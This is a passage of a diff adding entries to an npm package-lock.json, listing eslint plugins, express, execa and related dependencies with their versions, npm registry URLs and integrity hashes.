+                "optionator": "^0.8.3",
+                "progress": "^2.0.0",
+                "regexpp": "^2.0.1",
+                "semver": "^6.1.2",
+                "strip-ansi": "^5.2.0",
+                "strip-json-comments": "^3.0.1",
+                "table": "^5.2.3",
+                "text-table": "^0.2.0",
+                "v8-compile-cache": "^2.0.3"
+            },
+            "dependencies": {
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "doctrine": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
+                    "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
+                    "requires": {
+                        "esutils": "^2.0.2"
+                    }
+                },
+                "eslint-utils": {
+                    "version": "1.4.3",
+                    "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-1.4.3.tgz",
+                    "integrity": "sha512-fbBN5W2xdY45KulGXmLHZ3c3FHfVYmKg0IrAKGOkT/464PQsx2UeIzfz1RmEci+KLm1bBaAzZAh8+/E+XAeZ8Q==",
+                    "requires": {
+                        "eslint-visitor-keys": "^1.1.0"
+                    }
+                },
+                "globals": {
+                    "version": "12.4.0",
+                    "resolved": "https://registry.npmjs.org/globals/-/globals-12.4.0.tgz",
+                    "integrity": "sha512-BWICuzzDvDoH54NHKCseDanAhE3CeDorgDL5MT6LMXXj2WCnd9UC2szdk4AWLfjdgNBCXLUanXYcpBBKOSWGwg==",
+                    "requires": {
+                        "type-fest": "^0.8.1"
+                    }
+                },
+                "ignore": {
+                    "version": "4.0.6",
+                    "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz",
+                    "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg=="
+                },
+                "js-yaml": {
+                    "version": "3.14.1",
+                    "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+                    "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+                    "requires": {
+                        "argparse": "^1.0.7",
+                        "esprima": "^4.0.0"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                },
+                "regexpp": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-2.0.1.tgz",
+                    "integrity": "sha512-lv0M6+TkDVniA3aD1Eg0DVpfU/booSu7Eev3TDO/mZKHBfVjgCGTV4t4buppESEYDtkArYFOxTJWv6S5C+iaNw=="
+                },
+                "semver": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+                    "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+                }
+            }
+        },
+        "eslint-config-react-app": {
+            "version": "5.2.1",
+            "resolved": "https://registry.npmjs.org/eslint-config-react-app/-/eslint-config-react-app-5.2.1.tgz",
+            "integrity": "sha512-pGIZ8t0mFLcV+6ZirRgYK6RVqUIKRIi9MmgzUEmrIknsn3AdO0I32asO86dJgloHq+9ZPl8UIg8mYrvgP5u2wQ==",
+            "requires": {
+                "confusing-browser-globals": "^1.0.9"
+            }
+        },
+        "eslint-import-resolver-node": {
+            "version": "0.3.6",
+            "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.6.tgz",
+            "integrity": "sha512-0En0w03NRVMn9Uiyn8YRPDKvWjxCWkslUEhGNTdGx15RvPJYQ+lbOlqrlNI2vEAs4pDYK4f/HN2TbDmk5TP0iw==",
+            "requires": {
+                "debug": "^3.2.7",
+                "resolve": "^1.20.0"
+            },
+            "dependencies": {
+                "debug": {
+                    "version": "3.2.7",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+                    "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+                    "requires": {
+                        "ms": "^2.1.1"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.3",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+                    "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+                }
+            }
+        },
+        "eslint-loader": {
+            "version": "2.2.1",
+            "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-2.2.1.tgz",
+            "integrity": "sha512-RLgV9hoCVsMLvOxCuNjdqOrUqIj9oJg8hF44vzJaYqsAHuY9G2YAeN3joQ9nxP0p5Th9iFSIpKo+SD8KISxXRg==",
+            "requires": {
+                "loader-fs-cache": "^1.0.0",
+                "loader-utils": "^1.0.2",
+                "object-assign": "^4.0.1",
+                "object-hash": "^1.1.4",
+                "rimraf": "^2.6.1"
+            },
+            "dependencies": {
+                "json5": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+                    "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+                    "requires": {
+                        "minimist": "^1.2.0"
+                    }
+                },
+                "loader-utils": {
+                    "version": "1.4.0",
+                    "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz",
+                    "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==",
+                    "requires": {
+                        "big.js": "^5.2.2",
+                        "emojis-list": "^3.0.0",
+                        "json5": "^1.0.1"
+                    }
+                }
+            }
+        },
+        "eslint-module-utils": {
+            "version": "2.7.4",
+            "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.7.4.tgz",
+            "integrity": "sha512-j4GT+rqzCoRKHwURX7pddtIPGySnX9Si/cgMI5ztrcqOPtk5dDEeZ34CQVPphnqkJytlc97Vuk05Um2mJ3gEQA==",
+            "requires": {
+                "debug": "^3.2.7"
+            },
+            "dependencies": {
+                "debug": {
+                    "version": "3.2.7",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+                    "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+                    "requires": {
+                        "ms": "^2.1.1"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.3",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+                    "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+                }
+            }
+        },
+        "eslint-plugin-flowtype": {
+            "version": "3.13.0",
+            "resolved": "https://registry.npmjs.org/eslint-plugin-flowtype/-/eslint-plugin-flowtype-3.13.0.tgz",
+            "integrity": "sha512-bhewp36P+t7cEV0b6OdmoRWJCBYRiHFlqPZAG1oS3SF+Y0LQkeDvFSM4oxoxvczD1OdONCXMlJfQFiWLcV9urw==",
+            "requires": {
+                "lodash": "^4.17.15"
+            }
+        },
+        "eslint-plugin-graphql": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/eslint-plugin-graphql/-/eslint-plugin-graphql-4.0.0.tgz",
+            "integrity": "sha512-d5tQm24YkVvCEk29ZR5ScsgXqAGCjKlMS8lx3mS7FS/EKsWbkvXQImpvic03EpMIvNTBW5e+2xnHzXB/VHNZJw==",
+            "requires": {
+                "@babel/runtime": "^7.10.0",
+                "graphql-config": "^3.0.2",
+                "lodash.flatten": "^4.4.0",
+                "lodash.without": "^4.4.0"
+            }
+        },
+        "eslint-plugin-import": {
+            "version": "2.26.0",
+            "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.26.0.tgz",
+            "integrity": "sha512-hYfi3FXaM8WPLf4S1cikh/r4IxnO6zrhZbEGz2b660EJRbuxgpDS5gkCuYgGWg2xxh2rBuIr4Pvhve/7c31koA==",
+            "requires": {
+                "array-includes": "^3.1.4",
+                "array.prototype.flat": "^1.2.5",
+                "debug": "^2.6.9",
+                "doctrine": "^2.1.0",
+                "eslint-import-resolver-node": "^0.3.6",
+                "eslint-module-utils": "^2.7.3",
+                "has": "^1.0.3",
+                "is-core-module": "^2.8.1",
+                "is-glob": "^4.0.3",
+                "minimatch": "^3.1.2",
+                "object.values": "^1.1.5",
+                "resolve": "^1.22.0",
+                "tsconfig-paths": "^3.14.1"
+            }
+        },
+        "eslint-plugin-jsx-a11y": {
+            "version": "6.6.1",
+            "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.6.1.tgz",
+            "integrity": "sha512-sXgFVNHiWffBq23uiS/JaP6eVR622DqwB4yTzKvGZGcPq6/yZ3WmOZfuBks/vHWo9GaFOqC2ZK4i6+C35knx7Q==",
+            "requires": {
+                "@babel/runtime": "^7.18.9",
+                "aria-query": "^4.2.2",
+                "array-includes": "^3.1.5",
+                "ast-types-flow": "^0.0.7",
+                "axe-core": "^4.4.3",
+                "axobject-query": "^2.2.0",
+                "damerau-levenshtein": "^1.0.8",
+                "emoji-regex": "^9.2.2",
+                "has": "^1.0.3",
+                "jsx-ast-utils": "^3.3.2",
+                "language-tags": "^1.0.5",
+                "minimatch": "^3.1.2",
+                "semver": "^6.3.0"
+            },
+            "dependencies": {
+                "@babel/runtime": {
+                    "version": "7.18.9",
+                    "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.18.9.tgz",
+                    "integrity": "sha512-lkqXDcvlFT5rvEjiu6+QYO+1GXrEHRo2LOtS7E4GtX5ESIZOgepqsZBVIj6Pv+a6zqsya9VCgiK1KAK4BvJDAw==",
+                    "requires": {
+                        "regenerator-runtime": "^0.13.4"
+                    }
+                },
+                "emoji-regex": {
+                    "version": "9.2.2",
+                    "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
+                    "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="
+                },
+                "regenerator-runtime": {
+                    "version": "0.13.9",
+                    "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz",
+                    "integrity": "sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA=="
+                },
+                "semver": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+                    "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+                }
+            }
+        },
+        "eslint-plugin-react": {
+            "version": "7.30.1",
+            "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.30.1.tgz",
+            "integrity": "sha512-NbEvI9jtqO46yJA3wcRF9Mo0lF9T/jhdHqhCHXiXtD+Zcb98812wvokjWpU7Q4QH5edo6dmqrukxVvWWXHlsUg==",
+            "requires": {
+                "array-includes": "^3.1.5",
+                "array.prototype.flatmap": "^1.3.0",
+                "doctrine": "^2.1.0",
+                "estraverse": "^5.3.0",
+                "jsx-ast-utils": "^2.4.1 || ^3.0.0",
+                "minimatch": "^3.1.2",
+                "object.entries": "^1.1.5",
+                "object.fromentries": "^2.0.5",
+                "object.hasown": "^1.1.1",
+                "object.values": "^1.1.5",
+                "prop-types": "^15.8.1",
+                "resolve": "^2.0.0-next.3",
+                "semver": "^6.3.0",
+                "string.prototype.matchall": "^4.0.7"
+            },
+            "dependencies": {
+                "estraverse": {
+                    "version": "5.3.0",
+                    "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
+                    "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA=="
+                },
+                "resolve": {
+                    "version": "2.0.0-next.4",
+                    "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.4.tgz",
+                    "integrity": "sha512-iMDbmAWtfU+MHpxt/I5iWI7cY6YVEZUQ3MBgPQ++XD1PELuJHIl82xBmObyP2KyQmkNB2dsqF7seoQQiAn5yDQ==",
+                    "requires": {
+                        "is-core-module": "^2.9.0",
+                        "path-parse": "^1.0.7",
+                        "supports-preserve-symlinks-flag": "^1.0.0"
+                    }
+                },
+                "semver": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+                    "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+                }
+            }
+        },
+        "eslint-plugin-react-hooks": {
+            "version": "1.7.0",
+            "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-1.7.0.tgz",
+            "integrity": "sha512-iXTCFcOmlWvw4+TOE8CLWj6yX1GwzT0Y6cUfHHZqWnSk144VmVIRcVGtUAzrLES7C798lmvnt02C7rxaOX1HNA=="
+        },
+        "eslint-scope": {
+            "version": "5.1.1",
+            "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
+            "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+            "requires": {
+                "esrecurse": "^4.3.0",
+                "estraverse": "^4.1.1"
+            }
+        },
+        "eslint-utils": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-2.1.0.tgz",
+            "integrity": "sha512-w94dQYoauyvlDc43XnGB8lU3Zt713vNChgt4EWwhXAP2XkBvndfxF0AgIqKOOasjPIPzj9JqgwkwbCYD0/V3Zg==",
+            "requires": {
+                "eslint-visitor-keys": "^1.1.0"
+            }
+        },
+        "eslint-visitor-keys": {
+            "version": "1.3.0",
+            "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz",
+            "integrity": "sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ=="
+        },
+        "espree": {
+            "version": "6.2.1",
+            "resolved": "https://registry.npmjs.org/espree/-/espree-6.2.1.tgz",
+            "integrity": "sha512-ysCxRQY3WaXJz9tdbWOwuWr5Y/XrPTGX9Kiz3yoUXwW0VZ4w30HTkQLaGx/+ttFjF8i+ACbArnB4ce68a9m5hw==",
+            "requires": {
+                "acorn": "^7.1.1",
+                "acorn-jsx": "^5.2.0",
+                "eslint-visitor-keys": "^1.1.0"
+            },
+            "dependencies": {
+                "acorn": {
+                    "version": "7.4.1",
+                    "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz",
+                    "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A=="
+                }
+            }
+        },
+        "esprima": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
+            "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A=="
+        },
+        "esquery": {
+            "version": "1.4.0",
+            "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.4.0.tgz",
+            "integrity": "sha512-cCDispWt5vHHtwMY2YrAQ4ibFkAL8RbH5YGBnZBc90MolvvfkkQcJro/aZiAQUlQ3qgrYS6D6v8Gc5G5CQsc9w==",
+            "requires": {
+                "estraverse": "^5.1.0"
+            },
+            "dependencies": {
+                "estraverse": {
+                    "version": "5.3.0",
+                    "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
+                    "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA=="
+                }
+            }
+        },
+        "esrecurse": {
+            "version": "4.3.0",
+            "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz",
+            "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==",
+            "requires": {
+                "estraverse": "^5.2.0"
+            },
+            "dependencies": {
+                "estraverse": {
+                    "version": "5.3.0",
+                    "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
+                    "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA=="
+                }
+            }
+        },
+        "estraverse": {
+            "version": "4.3.0",
+            "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
+            "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw=="
+        },
+        "estree-util-is-identifier-name": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/estree-util-is-identifier-name/-/estree-util-is-identifier-name-2.0.1.tgz",
+            "integrity": "sha512-rxZj1GkQhY4x1j/CSnybK9cGuMFQYFPLq0iNyopqf14aOVLFtMv7Esika+ObJWPWiOHuMOAHz3YkWoLYYRnzWQ=="
+        },
+        "estree-util-visit": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/estree-util-visit/-/estree-util-visit-1.2.0.tgz",
+            "integrity": "sha512-wdsoqhWueuJKsh5hqLw3j8lwFqNStm92VcwtAOAny8g/KS/l5Y8RISjR4k5W6skCj3Nirag/WUCMS0Nfy3sgsg==",
+            "requires": {
+                "@types/estree-jsx": "^1.0.0",
+                "@types/unist": "^2.0.0"
+            }
+        },
+        "esutils": {
+            "version": "2.0.3",
+            "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
+            "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g=="
+        },
+        "etag": {
+            "version": "1.8.1",
+            "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
+            "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg=="
+        },
+        "event-emitter": {
+            "version": "0.3.5",
+            "resolved": "https://registry.npmjs.org/event-emitter/-/event-emitter-0.3.5.tgz",
+            "integrity": "sha512-D9rRn9y7kLPnJ+hMq7S/nhvoKwwvVJahBi2BPmx3bvbsEdK3W9ii8cBSGjP+72/LnM4n6fo3+dkCX5FeTQruXA==",
+            "requires": {
+                "d": "1",
+                "es5-ext": "~0.10.14"
+            }
+        },
+        "event-source-polyfill": {
+            "version": "1.0.31",
+            "resolved": "https://registry.npmjs.org/event-source-polyfill/-/event-source-polyfill-1.0.31.tgz",
+            "integrity": "sha512-4IJSItgS/41IxN5UVAVuAyczwZF7ZIEsM1XAoUzIHA6A+xzusEZUutdXz2Nr+MQPLxfTiCvqE79/C8HT8fKFvA=="
+        },
+        "event-target-shim": {
+            "version": "5.0.1",
+            "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz",
+            "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ=="
+        },
+        "eventemitter3": {
+            "version": "3.1.2",
+            "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-3.1.2.tgz",
+            "integrity": "sha512-tvtQIeLVHjDkJYnzf2dgVMxfuSGJeM/7UCG17TT4EumTfNtF+0nebF/4zWOIkCreAbtNqhGEboB6BWrwqNaw4Q=="
+        },
+        "events": {
+            "version": "3.3.0",
+            "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz",
+            "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q=="
+        },
+        "eventsource": {
+            "version": "0.1.6",
+            "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-0.1.6.tgz",
+            "integrity": "sha512-bbB5tEuvC+SuRUG64X8ghvjgiRniuA4WlehWbFnoN4z6TxDXpyX+BMHF7rMgZAqoe+EbyNRUbHN0uuP9phy5jQ==",
+            "requires": {
+                "original": ">=0.0.5"
+            }
+        },
+        "evp_bytestokey": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz",
+            "integrity": "sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==",
+            "requires": {
+                "md5.js": "^1.3.4",
+                "safe-buffer": "^5.1.1"
+            }
+        },
+        "execa": {
+            "version": "4.1.0",
+            "resolved": "https://registry.npmjs.org/execa/-/execa-4.1.0.tgz",
+            "integrity": "sha512-j5W0//W7f8UxAn8hXVnwG8tLwdiUy4FJLcSupCg6maBYZDpyBvTApK7KyuI4bKj8KOh1r2YH+6ucuYtJv1bTZA==",
+            "requires": {
+                "cross-spawn": "^7.0.0",
+                "get-stream": "^5.0.0",
+                "human-signals": "^1.1.1",
+                "is-stream": "^2.0.0",
+                "merge-stream": "^2.0.0",
+                "npm-run-path": "^4.0.0",
+                "onetime": "^5.1.0",
+                "signal-exit": "^3.0.2",
+                "strip-final-newline": "^2.0.0"
+            },
+            "dependencies": {
+                "cross-spawn": {
+                    "version": "7.0.3",
+                    "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
+                    "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
+                    "requires": {
+                        "path-key": "^3.1.0",
+                        "shebang-command": "^2.0.0",
+                        "which": "^2.0.1"
+                    }
+                },
+                "path-key": {
+                    "version": "3.1.1",
+                    "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
+                    "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="
+                },
+                "shebang-command": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
+                    "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+                    "requires": {
+                        "shebang-regex": "^3.0.0"
+                    }
+                },
+                "shebang-regex": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
+                    "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="
+                },
+                "which": {
+                    "version": "2.0.2",
+                    "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+                    "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+                    "requires": {
+                        "isexe": "^2.0.0"
+                    }
+                }
+            }
+        },
+        "expand-brackets": {
+            "version": "0.1.5",
+            "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-0.1.5.tgz",
+            "integrity": "sha512-hxx03P2dJxss6ceIeri9cmYOT4SRs3Zk3afZwWpOsRqLqprhTR8u++SlC+sFGsQr7WGFPdMF7Gjc1njDLDK6UA==",
+            "requires": {
+                "is-posix-bracket": "^0.1.0"
+            }
+        },
+        "expand-range": {
+            "version": "1.8.2",
+            "resolved": "https://registry.npmjs.org/expand-range/-/expand-range-1.8.2.tgz",
+            "integrity": "sha512-AFASGfIlnIbkKPQwX1yHaDjFvh/1gyKJODme52V6IORh69uEYgZp0o9C+qsIGNVEiuuhQU0CSSl++Rlegg1qvA==",
+            "requires": {
+                "fill-range": "^2.1.0"
+            },
+            "dependencies": {
+                "fill-range": {
+                    "version": "2.2.4",
+                    "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-2.2.4.tgz",
+                    "integrity": "sha512-cnrcCbj01+j2gTG921VZPnHbjmdAf8oQV/iGeV2kZxGSyfYjjTyY79ErsK1WJWMpw6DaApEX72binqJE+/d+5Q==",
+                    "requires": {
+                        "is-number": "^2.1.0",
+                        "isobject": "^2.0.0",
+                        "randomatic": "^3.0.0",
+                        "repeat-element": "^1.1.2",
+                        "repeat-string": "^1.5.2"
+                    }
+                },
+                "is-number": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/is-number/-/is-number-2.1.0.tgz",
+                    "integrity": "sha512-QUzH43Gfb9+5yckcrSA0VBDwEtDUchrk4F6tfJZQuNzDJbEDB9cZNzSfXGQ1jqmdDY/kl41lUOWM9syA8z8jlg==",
+                    "requires": {
+                        "kind-of": "^3.0.2"
+                    }
+                }
+            }
+        },
+        "expand-tilde": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz",
+            "integrity": "sha512-A5EmesHW6rfnZ9ysHQjPdJRni0SRar0tjtG5MNtm9n5TUvsYU8oozprtRD4AqHxcZWWlVuAmQo2nWKfN9oyjTw==",
+            "requires": {
+                "homedir-polyfill": "^1.0.1"
+            }
+        },
+        "express": {
+            "version": "4.18.1",
+            "resolved": "https://registry.npmjs.org/express/-/express-4.18.1.tgz",
+            "integrity": "sha512-zZBcOX9TfehHQhtupq57OF8lFZ3UZi08Y97dwFCkD8p9d/d2Y3M+ykKcwaMDEL+4qyUolgBDX6AblpR3fL212Q==",
+            "requires": {
+                "accepts": "~1.3.8",
+                "array-flatten": "1.1.1",
+                "body-parser": "1.20.0",
+                "content-disposition": "0.5.4",
+                "content-type": "~1.0.4",
+                "cookie": "0.5.0",
+                "cookie-signature": "1.0.6",
+                "debug": "2.6.9",
+                "depd": "2.0.0",
+                "encodeurl": "~1.0.2",
+                "escape-html": "~1.0.3",
+                "etag": "~1.8.1",
+                "finalhandler": "1.2.0",
+                "fresh": "0.5.2",
+                "http-errors": "2.0.0",
+                "merge-descriptors": "1.0.1",
+                "methods": "~1.1.2",
+                "on-finished": "2.4.1",
+                "parseurl": "~1.3.3",
+                "path-to-regexp": "0.1.7",
+                "proxy-addr": "~2.0.7",
+                "qs": "6.10.3",
+                "range-parser": "~1.2.1",
+                "safe-buffer": "5.2.1",
+                "send": "0.18.0",
+                "serve-static": "1.15.0",
+                "setprototypeof": "1.2.0",
+                "statuses": "2.0.1",
+                "type-is": "~1.6.18",
+                "utils-merge": "1.0.1",
+                "vary": "~1.1.2"
+            },
+            "dependencies": {
+                "safe-buffer": {
+                    "version": "5.2.1",
+                    "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+                    "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
+                }
+            }
+        },
+        "express-graphql": {
+            "version": "0.9.0",
+            "resolved": "https://registry.npmjs.org/express-graphql/-/express-graphql-0.9.0.tgz",
